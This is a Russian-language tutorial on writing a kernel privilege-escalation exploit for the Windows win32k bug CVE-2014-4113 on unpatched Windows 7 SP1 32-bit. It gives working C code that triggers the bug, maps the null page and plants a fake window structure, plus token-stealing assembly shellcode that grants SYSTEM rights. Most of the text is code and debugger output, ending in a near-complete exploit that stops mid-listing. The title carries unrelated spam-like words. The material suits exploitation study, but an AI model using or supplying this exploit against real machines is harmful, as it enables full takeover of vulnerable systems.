Эксплуатация уязвимости в Windows уровня ядра (CVE-2014-4113) validccshopsu, binlv

В данной статье будет описан процесс создания эксплоита на базе относительно простой уязвимости в ядре операционной системы Windows.
1.1   Введение
В данной статье будет описан процесс создания эксплоита на базе относительно простой уязвимости в ядре операционной системы Windows. Если до сего момента вы не сталкивались с отладкой ядра, в двух нижеследующих документах дается некоторое описание этой темы:
  “An Introduction to Debugging the Windows Kernel with WinDbg” By Jan Mitchell
  “Intro to Windows kernel exploitation 1/N: Kernel Debugging “ By Sam Brown
Брешь описывается под именем CVE-2014-4113 и возникает при некорректной проверке перед использованием указателя. Хотя данная уязвимость не связана с разыменовыванием пустого указателя, во время эксплуатации будут использоваться те же самые техники. Проблемы, связанные с разыменованием пустого указателя не нуждаются в особых объяснениях и возникают в тех случаях, когда участок кода пытается разыменовать переменную со значением NULL/0.
Брешь возникает внутри драйвера win32k.sys, который поддерживает интерфейс графического дисплея на уровне ядра, работающего напрямую с графическим драйвером. В итоге мы имеем поддержку на уровне ядра при выдаче графического контента на экран. Уязвимость находится в функции win32k!xxxHandleMenuMessages при вызове функции xxxMNFindWindowFromPoint, которая возвращает либо указатель на структуру win32k!tagWND или код ошибки (-1 или -5). Функция xxxMNFindWindowFromPoint проверяет только код ошибки -1. Код ошибки -5 передается в функцию xxxSendMessage как правильный указатель, которая затем будет вызывать функцию по указателю внутри структуры tagWND.
Данная уязвимость была исправлена в MS14-058 , поэтому я буду работать с непропатченной версией Windows 7 Service Pack 1 32 bit и использовать виртуальную машину с установленной Window 10 для отладки ядра. Настройка рабочей среды описана в статьях, указанных выше.
1.2   Эксплуатация разыменования пустого указателя
Процесс эксплуатации уязвимости, связанной с разыменованием пустого указателя, прост и прямолинеен:
Проецируем пустую (NULL) страницу в пользовательское пространство.
Помещаем поддельную структуру данных на страницу, чтобы спровоцировать запуск шелл-кода.
Активируем уязвимость, связанную с разыменованием.
В поздних версиях Windows невозможно спроецировать пустое адресное пространство, и, по сути, этот класс уязвимостей более не актуален. Однако в Windows 7 данные бреши присутствуют, и поскольку количество машин с этой ОС довольно много, я посчитал нужным рассмотреть данную тему.
1.3   Активация уязвимости
Первый шаг в создании эксплоита – написание надежного кода, активирующего уязвимость. Должен произойти сбой в виртуальной машине, и тогда в отладчике ядра мы сможем увидеть разыменование пустого/некорректного указателя. Инициировать брешь будем на основе отчета от компании Trendlabs , где пошагово рассказывается о том, что нужно сделать:
Создаем окно и двухуровневое всплывающее меню.
Перехватываем (хукаем) вызов winproc того окна.
Отслеживаем всплывающее меню в окне и добавляем обратный вызов (callback) ранее созданного хука.
Обратный вызов изменяет winproc, связанный с меню, на другой обратный вызов.
Внутри обратного вызова меню разрушается и возвращается -5 (PUSH 0xfffffffb; POP EAX).
Доходим до функции xxxMNFindWindowFromPoint() разрушенного меню и возвращаем -5.
В новом проекте Visual Studio начинаем с создания окна и хука функции wndproc внутри этого окна.
Далее создаем двухуровневое всплывающее меню, прикрепленное к окну.
//Creates an empty popup menu
HMENU MenuOne = CreatePopupMenu();
 
if (MenuOne == NULL){
 printf(“Failed to create popup menu one.
“);
 return;
}
/*Menu properties to apply to the empty menu we just created
 typedef struct tagMENUITEMINFO {
 UINT cbSize;
 UINT fMask;
 UINT fType;
 UINT fState;
 UINT wID;
 HMENU hSubMenu;
 HBITMAP hbmpChecked;
 HBITMAP hbmpUnchecked;
 ULONG_PTR dwItemData;
 LPTSTR dwTypeData;
 UINT cch;
 HBITMAP hbmpItem;
 } MENUITEMINFO, *LPMENUITEMINFO;
*/
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are
called, in this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask = MIIM_STRING;
/*Inserts a new menu at the specified position
BOOL WINAPI InsertMenuItem(
 _In_ HMENU hMenu, => Handle to the menu the new item should be inserted into,
in our case the empty menu we just created
 _In_ UINT uItem, => it should item 0 in the menu
 _In_ BOOL fByPosition, => Decided whether uItem is a position or an
identifier, in this case its a position. If FALSE it makes uItem an identifier
 _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the
menu item details.
);
*/
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
if (!insertMenuItem){
 printf(“Failed to insert popup menu one.
“);
 DestroyMenu(MenuOne);
 return;
}
HMENU MenuTwo = CreatePopupMenu();
if (MenuTwo == NULL){
 printf(“Failed to create menu two.
“);
 DestroyMenu(MenuOne);
 return;
}
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
//On this window hSubMenu should be included in Get/SetMenuItemInfo
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
//The menu is a sub menu of the first menu
MenuTwoInfo.hSubMenu = MenuOne;
//The contents of the menu item – in this case nothing
MenuTwoInfo.dwTypeData = “”;
//The length of the menu item text – in the case 1 for just a single NULL byte
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
if (!insertMenuItem){
 printf(“Failed to insert second pop-up menu.
“);
 DestroyMenu(MenuOne);
 DestroyMenu(MenuTwo);
 return;
}
 
Теперь добавляем первоначальную функцию обратного вызова, которую будем использовать в качестве хука и второй обратный вызов, используемый для разрушения меню и возврата -5.
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
 printf(“Callback two called.
“);
 EndMenu();
 return -5;
}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
 printf(“Callback one called.
“);
 /* lParam is a pointer to a CWPSTRUCT which is defined as:
 typedef struct tagCWPSTRUCT {
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;
 } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
 */
 if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
 //lparam+12 is a Window Handle pointing to the window – here we are setting
its callback to be our second one
 SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
 }
 return CallNextHookEx(0, code, wParam, lParam);
}
 
В конце создаем хук к первому обратному вызову, а  затем отслеживаем всплывающее меню для активации уязвимости.
/*
HHOOK WINAPI SetWindowsHookEx(
 _In_ int idHook, => The type of hook we want to create, in this case
WH_CALLWNDPROC which means that the callback will be passed any window messages before the
system sends them to the destination window procedure.
 _In_ HOOKPROC lpfn, => The callback that should be called when triggered
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the
dll here, not needed in this case.
 _In_ DWORD dwThreadId => The thread which the callback should be triggered in,
we want it to be our current thread.
);
*/
HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL,
GetCurrentThreadId());
if (setWindowsHook == NULL){
 printf(“Failed to insert call back one.
“);
 DestroyMenu(MenuOne);
 DestroyMenu(MenuTwo);
 return;
}
/* Displays a menu and tracks interactions with it.
BOOL WINAPI TrackPopupMenu(
_In_ HMENU hMenu,
_In_ UINT uFlags,
_In_ int x,
_In_ int y,
_In_ int nReserved,
_In_ HWND hWnd,
_In_opt_ const RECT *prcRect
);
*/
TrackPopupMenu(
 MenuTwo, //Handle to the menu we want to display, for us its the submenu we just
created.
 0, //Options on how the menu is aligned, what clicks are allowed etc, we don’t care.
 0, //Horizontal position – left hand side
 0, //Vertical position – Top edge
 0, //Reserved field, has to be 0
 main_wnd, //Handle to the Window which owns the menu
 NULL //This value is always ignored…
);
 
Собираем, запускаем и …
Несмотря на то, что мы добились появления исключения, наша задача не решена. В отчете компании Trendlabs сказано, что проблема связана со значением -5 (или в шестнадцатеричной форме 0xfffffffb), возвращаемым из функции xxxMNFindWindowFromPoint и затем используемым в качестве базового адреса. Но на рисунке выше ничего подобного не наблюдается. Придется копать глубже.
Чтобы понять, что мы упустили, необходимо разобраться, как работает WndProc и какие сообщения обрабатываются. Для того чтобы GUI-приложение могло обрабатывать и пользовательские события и события уровня ядра, в Windows используется система передачи сообщений. Операционная система взаимодействует с приложением посредством передачи сообщений, у каждого из которых есть свой цифровой код. Сообщения обрабатываются приложением в цикле, где вызывается функция WndProc, которую мы добавили к классу окна. Ядро отсылает эти сообщения при помощи функции win32k!xxxSendMessage. Более подробное объяснение можно найти в MSDN на странице, посвященной сообщениям в Windows . Теперь, с учетом этих знаний, можно рассмотреть функцию xxxMNFindWindowFromPoint в отладчике.
На рисунке показана часть функции, но если посмотреть полную версию, обнаруживается, что во время первого вызова xxxMNFindWindowFromPoint отсылает окну сообщение с кодом ‘0X1EB’.
 
94eb95e8 50 push eax
94eb95e9 68eb010000 push 1EBh
94eb95ee ff770c push dword ptr [edi+0Ch]
94eb95f1 e8a7fff7ff call win32k!xxxSendMessage (94e3959d)
Если посмотреть на выходной лог во время отработки кода, связанного с активацией уязвимости, на данный момент функции обратного вызова выгружаются во время пересылки сообщения с кодом 0x3 (‘WM_MOVE’). На самом деле, мы хотим, чтобы во время первой отсылки сообщения ‘0X1EB’ выгрузки не происходило, и во время повторного вызова функции обратного вызова возвращалось значение -5, которое затем возвращается функцией win32k!xxxMNFindWindowFromPoint. Обновляем код обратного вызова с учетом новых вводных.
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
 printf(“Callback one called.
“);
 /* lParam is a pointer to a CWPSTRUCT which is defined as:
 typedef struct tagCWPSTRUCT {
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;
 } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
 */
 //lparam+8 is the message sent to the window, here we are checking for the
undocumented message 0x1EB which is sent to a window when the function
xxxMNFindWindowFromPoint is called
 if (*(DWORD *)(lParam + 8) == 0x1EB) {
 if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
 //lparam+12 is a Window Handle pointing to the window – here we are
setting its callback to be our second one
 SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC,
(LONG)HookCallbackTwo);
 }
 }
 return CallNextHookEx(0, code, wParam, lParam);
}
Сохраняем внесенные изменения, собираем и запускаем код заново. Ничего не происходит до тех пор, пока я не кликну на выплывающее меню! На данный момент происходит вызов второй функции обратного вызова, система падает, и мы получаем нужный результат!
Теперь нам необходимо автоматизировать процедуру нажатия на всплывающее меню посредством модификации WndProc.
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
 /*
 Wait until the window is idle and then send the messages needed to ‘click’ on the
submenu to trigger the bug
 */
 printf(“WindProc called with message=%d
“, msg);
 if (msg == WM_ENTERIDLE) {
 PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
 PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
 PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
 }
 //Just pass any other messages to the default window procedure
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
Теперь, когда у нас появился надежный код, правильно роняющий систему (проект в Visual Studio можно скачать здесь ), настало время разобраться с полезной нагрузкой.
1.4   Составление полезной нагрузки
Если посмотреть на ассемблерный код вокруг того места, где произошло падение, и на структуру win32k!tagWND, указатель на которую возвращает функция xxxMNFindWindowFromPoint, то мы примерно понимаем, как должна выглядеть наша поддельная структура:
win32k!xxxSendMessageTimeout+0xab:
94d893f2 0000 add byte ptr [eax],al
94d893f4 8b3d58ebee94 mov edi,dword ptr [win32k!gptiCurrent (94eeeb58)]
94d893fa 3b7e08 cmp edi,dword ptr [esi+8]
94d893fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (94d89487)
94d89403 8b0e mov ecx,dword ptr [esi]
94d89405 8b15e4d1ee94 mov edx,dword ptr [win32k!gSharedInfo+0x4 (94eed1e4)]
94d8940b 81e1ffff0000 and ecx,0FFFFh
94d89411 0faf0de8d1ee94 imul ecx,dword ptr [win32k!gSharedInfo+0x8 (94eed1e8)]
kd> dt -r win32k!tagWND
 +0x000 head : _THRDESKHEAD
 +0x000 h : Ptr32 Void
 +0x004 cLockObj : Uint4B
 +0x008 pti : Ptr32 tagTHREADINFO
 +0x000 pEThread : Ptr32 _ETHREAD
На данный момент происходит падение из-за того, что функция xxxSendMessageTimeout пытается получить доступ к указателю на структуру tagTHREADINFO внутри структуры tagWND. Чтобы пройти данную проверку, нужно сделать так, чтобы созданная структура содержала указатель на структуру tagTHREADINFO по смещению 0x3 (должно было быть 8, но поскольку мы отсчитываем от -5, то вместо 8 имеем 3). Начинаем составлять полезную нагрузку с проецирования пустой страницы при помощи функции ‘NtAllocateVirtualMemory’ из библиотеки ntdll.dll. Чтобы использовать функцию ‘NtAllocateVirtualMemory’, необходимо загрузить ntdll.dll, найти местонахождение функций внутри и затем преобразовать полученный указатель к правильному определенному типу. Решаем эту задачу при помощи следующего кода:
//Loads ntdll.dll into the processes memory space and returns a HANDLE to it
HMODULE hNtdll = LoadLibraryA(“ntdll”);
if (hNtdll == NULL) {
 printf(“Failed to load ntdll”);
 return;
}
//Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then cast it a useable function pointer
lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, “NtAllocateVirtualMemory”);
if (pNtAllocateVirtualMemory == NULL) {
 printf(“Failed to resolve NtAllocateVirtualMemory.
“);
 return;
}
//If we pass 0 or NULL to NtAllocateVirtualMemory it won’t allocate anything so we pass 1  which is rounded down to 0.
DWORD base_address = 1;
//Aritary size which is probably big enough – it’ll get rounded up to the next memory page
boundary anyway
SIZE_T region_size = 0x1000;
NTSTATUS tmp = pNtAllocateVirtualMemory(
 GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should be
done for, we pass this process.
 (LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want our
memory allocated at, this will be rounded down to the nearest page boundary and the new
value will written to it
 0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero
in the base address, this is only used when the base address passed is NULL
 &region_size, //RegionSize => How much memory we want allocated, this will be
rounded up to the nearest page boundary and the updated value will be written to the
variable
 (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),//ULONG AllocationType => What type of
allocation to be done – the chosen flags mean the memory will allocated at the highest
valid address and will immediately be reserved and committed so we can use it.
 PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory
should be created with, we want RWX
);
if (tmp != (NTSTATUS)0x0) {
 printf(“Failed to allocate null page.
“);
 return;
}
Мы также должны создать объявление typedef для функции ‘NtAllocateVirtualMemory’, которое берется из документации MSDN для функции ZwAllocateVirtualMemory , и поместить перед функцией main.
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
 IN HANDLE ProcessHandle,
 IN PVOID *BaseAddress,
 IN PULONG ZeroBits,
 IN PSIZE_T RegionSize,
 IN ULONG AllocationType,
 IN ULONG Protect
);
 
Теперь нам нужно получить указатель на структуру Win32ThreadInfo по смещению 0x3. Этот указатель можно найти для текущего потока выполнения в блоке TEB (Thread Execution Block) по смещению 0x40. Блок TEB можно найти по смещению 0x18 от сегментного регистра fs.
DWORD __stdcall GetPTI() {
 __asm {
 mov eax, fs:18h
 mov eax, [eax + 40h]
}
}
Полученный указатель помещаем по смещению 0x3 в ранее спроецированную пустую страницу.
DWORD pti = GetPTI();
if (pti == NULL) {
 printf(“Failed to find the Win32ThreadInfo structure for the current thread.
“);
 return;
}
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and then place
the pointer in memory.
void* pti_loc = (void *) 0x3;
*(LPDWORD)pti_loc = pti;
Собрав и запустив обновленный код, мы должны пройти проверку на наличие указателя.
Запуская код, мы получаем исключение, связанное с доступом к памяти, при попытке увеличить значение по адресу 0xffffffff. Мы не выделяли память по тому адресу, и, следовательно, нужно внести какие-то изменения. Рассмотрим еще раз дизассемблированную версию функции xxxSendMessageTimeout.
win32k!xxxSendMessageTimeout+0xad:
949493f4 8b3d58ebaa94 mov edi,dword ptr [win32k!gptiCurrent (94aaeb58)]
949493fa 3b7e08 cmp edi,dword ptr [esi+8]
949493fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (94949487)
После прохождения на проверки на присутствие указателя переходим к xxxSendMessageTimeout+0x140.
win32k!xxxSendMessageTimeout+0x140:
94949487 8b87cc000000 mov eax,dword ptr [edi+0CCh]
9494948d 8b400c mov eax,dword ptr [eax+0Ch]
94949490 0b872c010000 or eax,dword ptr [edi+12Ch]
94949496 a820 test al,20h
94949498 7426 je win32k!xxxSendMessageTimeout+0x179 (949494c0)
win32k!xxxSendMessageTimeout+0x153:
9494949a 8b06 mov eax,dword ptr [esi]
9494949c 8945f8 mov dword ptr [ebp-8],eax
9494949f 8b4510 mov eax,dword ptr [ebp+10h]
949494a2 8945f0 mov dword ptr [ebp-10h],eax
949494a5 8b4514 mov eax,dword ptr [ebp+14h]
949494a8 6a04 push 4
949494aa 8d4dec lea ecx,[ebp-14h]
949494ad 8945ec mov dword ptr [ebp-14h],eax
949494b0 33c0 xor eax,eax
949494b2 51 push ecx
949494b3 50 push eax
949494b4 50 push eax
949494b5 895df4 mov dword ptr [ebp-0Ch],ebx
949494b8 8945fc mov dword ptr [ebp-4],eax
949494bb e85deefcff call win32k!xxxCallHook (9491831d)
win32k!xxxSendMessageTimeout+0x179:
949494c0 f6461604 test byte ptr [esi+16h],4
949494c4 8d4518 lea eax,[ebp+18h]
949494c7 50 push eax
949494c8 743b je win32k!xxxSendMessageTimeout+0x1be (94949505)
win32k!xxxSendMessageTimeout+0x183:
949494ca 8d451c lea eax,[ebp+1Ch]
949494cd 50 push eax
949494ce ff15bc04a894 call dword ptr [win32k!_imp__IoGetStackLimits (94a804bc)]
949494d4 8d4518 lea eax,[ebp+18h]
949494d7 2b451c sub eax,dword ptr [ebp+1Ch]
949494da 3d00100000 cmp eax,1000h
949494df 7307 jae win32k!xxxSendMessageTimeout+0x1a1 (949494e8)
win32k!xxxSendMessageTimeout+0x19a:
949494e1 33c0 xor eax,eax
949494e3 e9a9000000 jmp win32k!xxxSendMessageTimeout+0x24a (94949591)
win32k!xxxSendMessageTimeout+0x1a1:
949494e8 ff7514 push dword ptr [ebp+14h]
949494eb ff7510 push dword ptr [ebp+10h]
949494ee 53 push ebx
949494ef 56 push esi
949494f0 ff5660 call dword ptr [esi+60h]
Последняя строка – единственное место, где наш указатель внутри структуры вызывается как функция, и поэтому сюда нужно поместить шелл-код. Но вначале нужно установить корректные значения так, чтобы любая ветвь приходила к этому месту. Единственное место между адресом после прохождения проверки и вызовом функции, где происходит ссылка на значение в нашей структуре, – следующий участок кода:
win32k!xxxSendMessageTimeout+0x179:
949494c0 f6461604 test byte ptr [esi+16h],4
949494c4 8d4518 lea eax,[ebp+18h]
949494c7 50 push eax
949494c8 743b je win32k!xxxSendMessageTimeout+0x1be (94949505)
На данный момент мы не проходим эту проверку. Давайте посмотрим, что произойдет, если мы изменим спроецированную память посредством добавления кода, показанного ниже, после того, как мы помещаем указатель на структуру в спроецированную память.
void* check_loc = (void *)0x11;
*(LPBYTE) check_loc = 0x4;
После повторной сборки и запуска кода после падения ядра получаем следующую информацию в отладчике:
Мы почти у цели! На основе информации из стека мы видим, что идет попытка выполнить код по адресу 0x0, а перед этим идет вызов win32k!xxxSendMessageTimeout+0x1ac, представляющий собой следующую строку кода:
949494f0 ff5660 call dword ptr [esi+60h]
Поскольку на тот момент память не инициализирована, все заканчивается вызовом указателя, состоящим из пустых байтов. Добавив смещение 0x60 в нашу поддельную структуру, содержащую указатель на шелл-код, мы должны суметь вызвать указатель. Из дизассемблированной версии функции ‘xxxSendMessageTimeout’ видно, что перед вызовом указателя в стек кладется четыре аргумента.
win32k!xxxSendMessageTimeout+0x1a1:
949494e8 ff7514 push dword ptr [ebp+14h]
949494eb ff7510 push dword ptr [ebp+10h]
949494ee 53 push ebx
949494ef 56 push esi
949494f0 ff5660 call dword ptr [esi+60h]
Это означает, что в функцию необходимо передать четыре аргумента, которые должен учитывать наш шелл-код. Задача решается посредством использования шелл-кода, захватывающего токены, описанного в этом посте . Необходимо лишь изменить прототип с:
VOID TokenStealingShellcodeWin7()
на:
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four)
и добавить:
return 0;
в конец функции. Теперь помещаем законченный шелл-код и определение его функции перед функцией mail:
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
 __asm {
 ; initialize
 pushad; save registers state
 xor eax, eax; Set zero
 mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
 mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 mov ecx, eax; Copy current _EPROCESS structure
 mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
 mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
 SearchSystemPID:
 mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
 sub eax, FLINK_OFFSET
 cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
 jne SearchSystemPID
 mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
 mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
 ; to current process
 popad; restore registers state
}
 return 0;
}
 
Затем добавляем нижеследующие строки, определяющие поддельную структуру:
void* shellcode_loc = (void *)0x5b;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
По результатам успешной активации уязвимости добавляем вызов калькулятора:
system(“calc.exe”);
Полная версия кода, включая настройку кучи и последующую активацию уязвимости, выглядит так (код также можно скачать отсюда ):
#include “stdafx.h”
#include <Windows.h>
 
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
 printf(“Callback two called.
“);
 EndMenu();
 return -5;
}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
 printf(“Callback one called.
“);
 /*lParam is a pointer to a CWPSTRUCT lparam+8 is the message sent to the window,
here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent
to a window when the function xxxMNFindWindowFromPoint is called */
 if (*(DWORD *)(lParam + 8) == 0x1EB) {
 if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
 //lparam+12 is a Window Handle pointing to the window – here we are
setting its callback to be our second one
 SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC,
(LONG)HookCallbackTwo);
 }
 }
 return CallNextHookEx(0, code, wParam, lParam);
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
 /* Wait until the window is idle and then send the messages needed to ‘click’ on the
submenu to trigger the bug */
 printf(“WindProc called with message=%d
“, msg);
 if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
 PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
 PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
 }
 //Just pass any other messages to the default window procedure
 return DefWindowProc(hwnd, msg, wParam, lParam);
}
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
 IN HANDLE ProcessHandle,
 IN PVOID *BaseAddress,
 IN PULONG ZeroBits,
 IN PSIZE_T RegionSize,
 IN ULONG AllocationType,
 IN ULONG Protect
);
//Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into
the Thread Execution Block for the current thread
DWORD __stdcall GetPTI() {
 __asm {
 mov eax, fs:18h //eax pointer to TEB
 mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
 }
}
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
 __asm {
 ; initialize
 pushad; save registers state
 xor eax, eax; Set zero
 mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
 mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 mov ecx, eax; Copy current _EPROCESS structure
 mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
 mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
 SearchSystemPID:
 mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
 sub eax, FLINK_OFFSET
 cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
 jne SearchSystemPID
 mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
 mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
 ; to current process
 popad; restore registers state
 }
 return 0;
}
void _tmain()
{
 //Loads ntdll.dll into the processes memory space and returns a HANDLE to it
 HMODULE hNtdll = LoadLibraryA(“ntdll”);
 if (hNtdll == NULL) {
 printf(“Failed to load ntdll”);
 return;
 }
  //Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then
cast it a useable function pointer
 lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, “NtAllocateVirtualMemory”);
 if (pNtAllocateVirtualMemory == NULL) {
 printf(“Failed to resolve NtAllocateVirtualMemory.
“);
 return;
 }
  //If we pass 0 or NULL to NtAllocateVirtualMemory it won’t allocate anything so we
pass 1 which is rounded down to 0.
 DWORD base_address = 1;
 //Aritary size which is probably big enough – it’ll get rounded up to the next
memory page boundary anyway
 SIZE_T region_size = 0x1000;
 NTSTATUS tmp = pNtAllocateVirtualMemory(
 GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should
be done for, we pass this process.
 (LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want
our memory allocated at, this will be rounded down to the nearest page boundary and the new
value will written to it
 0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be
zero in the base address, this is only used when the base address passed is NULL
 &region_size,
 (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),
 PAGE_EXECUTE_READWRITE
 );
 if (tmp != (NTSTATUS)0x0) {
 printf(“Failed to allocate null page.
“);
 return;
 }
  DWORD pti = GetPTI();
 if (pti == NULL) {
 printf(“Failed to find the Win32ThreadInfo structure for the current
thread.
“);
 return;
 }
 //create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and
then place the pointer in memory.
 void* pti_loc = (void *) 0x3;
 void* check_loc = (void *)0x11;
 void* shellcode_loc = (void *)0x5b;
 *(LPDWORD)pti_loc = pti;
 *(LPBYTE) check_loc = 0x4;
 *(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
  WNDCLASSA wnd_class = { 0 };
 //Our custome WndProc handler, inspects any window messages before passing then onto
the default handler
 wnd_class.lpfnWndProc = WndProc;
 //Returns a handle to the executable that has the name passed to it, passing NULL
means it returns a handle to this executable
 wnd_class.hInstance = GetModuleHandle(NULL);
 //Random classname – we reference this later when creating a Window of this class
 wnd_class.lpszClassName = “abcde”;
  //Registers the class in the global scope so it can be refered too later.
 ATOM reg = RegisterClassA(&wnd_class);
 if (reg == NULL){
 printf(“Failed to register window class.
“);
 return;
 }
 HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, “”, WS_OVERLAPPEDWINDOW |
WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);
  if (main_wnd == NULL){
 printf(“Failed to create window instance.
“);
 return;
 }
  //Creates an empty popup menu
 HMENU MenuOne = CreatePopupMenu();
  if (MenuOne == NULL){
 printf(“Failed to create popup menu one.
“);
 return;
 }
 MENUITEMINFOA MenuOneInfo = { 0 };
 //Default size
 MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
 //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo
are called, in this case only dwTypeData which the contents of the menu item.
 MenuOneInfo.fMask = MIIM_STRING;
 BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
  if (!insertMenuItem){
 printf(“Failed to insert popup menu one.
“);
 DestroyMenu(MenuOne);
 return;
 }
  HMENU MenuTwo = CreatePopupMenu();
  if (MenuTwo == NULL){
 printf(“Failed to create menu two.
“);
 DestroyMenu(MenuOne);
 return;
 }
  MENUITEMINFOA MenuTwoInfo = { 0 };
 MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
